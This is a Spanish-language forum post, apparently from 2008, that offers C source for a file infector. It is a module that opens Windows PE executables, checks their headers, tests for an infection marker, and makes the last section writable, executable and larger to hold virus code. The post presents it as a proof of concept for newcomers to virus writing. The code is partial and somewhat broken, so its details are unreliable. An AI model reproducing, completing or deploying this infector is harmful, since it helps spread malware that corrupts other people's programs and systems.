infeccion de ficheros (demostracion practica)

Modulo para infectar ficheros al estilo de un W32, prueba de concepto para aquellos que empiecen en la scene de vx.

void _InfectFile(char *szFile)
{
int OldAttr;
void *hFile;
void *hMapFile;
unsigned long ulSize;
unsigned long *ulAddress;
unsigned long ulEP;
unsigned long ulFileAl;
unsigned long ulBase;
//unsigned long ulCalc;

FILETIME lpCreationTime,lpAccessTime,lpWriteTime;

OldAttr = _GetFileAttributes(szFile);

if(_SetFileAttributes(szFile,0x80))
{
   printf("attributes setted...\n");

if((int)(hFile=_CreateFile(szFile,0x80000000|0x40000000,0x0,0x0,0x3,0x0,0x0))!=-1)
{
   printf("File created ..\n");
_GetFileTime(hFile,&lpCreationTime,&lpAccessTime,&lpWriteTime);

ulSize = _GetFileSize(hFile,0x0);

if(hMapFile = _CreateFileMapping(hFile,0x0,0x4,0x0,ulSize,0x0))
{
     printf("Map created ... \n");
   if(ulBase = (UL)ulAddress = (UL)(UL*)_MapViewOfFile(hMapFile,0x2,0x0,0x0,0x0))
   {
      printf("ulAddress created at %s ...\n",ulAddress);
    if(*ulAddress == 0x905A4D)
    {
       printf("ulAddress == 0x905A4D ... \n");
     if(*(UL*)(ulAddress+0x38) == 0x5658)
     {
     return;
     }

     (UL)ulAddress = *(UL*)((UL)ulAddress+0x3C)+(UL)ulBase;

     printf("ulAddress set to %s .. \n",ulAddress);

     if(*ulAddress == 0x00004550)
     {
        printf("ulAddress == 0x00004550 ... \n");
     if((*(UL*)((UL)ulAddress+0x16)) & 0x002 &&
        (*(UL*)((UL)ulAddress+0x16)) & 0x100 &&
      !((*(UL*)((UL)ulAddress+0x16)) & 0x2000 &&
      !((*(UL*)((UL)ulAddress+0x16)) & 0x1000)))
     {
        printf("File mask valid ... \n");

     ulEP = *(UL*)((UL)ulAddress + 0x28)+ulBase;

      ulFileAl = *(UL*)((UL)ulAddress + 0x3C);

      (UL)ulAddress+=(((short)*(UL*)((UL)ulAddress+0x74))<<3)+((((short)*(UL*)((UL)ulAddress+0x6))-1)*0x28)+0x78;

     *(UL*)((UL)ulAddress+0x24) = 0x00000020 | 0x20000000 | 0x80000000;

      *(UL*)((UL)ulAddress+0x8) = *(UL*)((UL)ulAddress+0x8) + (UL)VirSize;
     }
     }
    }
    printf("Passing W32Binary module for loan .. \n");
   }
}
}
}
}

Prototipos necesarios:

fLoadLibraryA _LoadLibrary;
fMessageBoxA _MessageBox;
fCreateFileA _CreateFile;
fGetFileAttributesA _GetFileAttributes;
fSetFileAttributesA _SetFileAttributes;
fGetFileTime _GetFileTime;
fGetFileSize _GetFileSize;
fCreateFileMappingA _CreateFileMapping;
fMapViewOfFile _MapViewOfFile;
fFindFirstFileA _FindFirstFile;
fFindNextFileA _FindNextFile;
fFindClose _FindClose;
fSetCurrentDirectory _SetCurrentDirectory;

tomados de windows base compiler (librerias estandar de windows).

saludos

	Bienvenido(a), Visitante. Favor de ingresar o registrarse. ¿Perdiste tu email de activación? - Diciembre 05, 2008, 06:49:52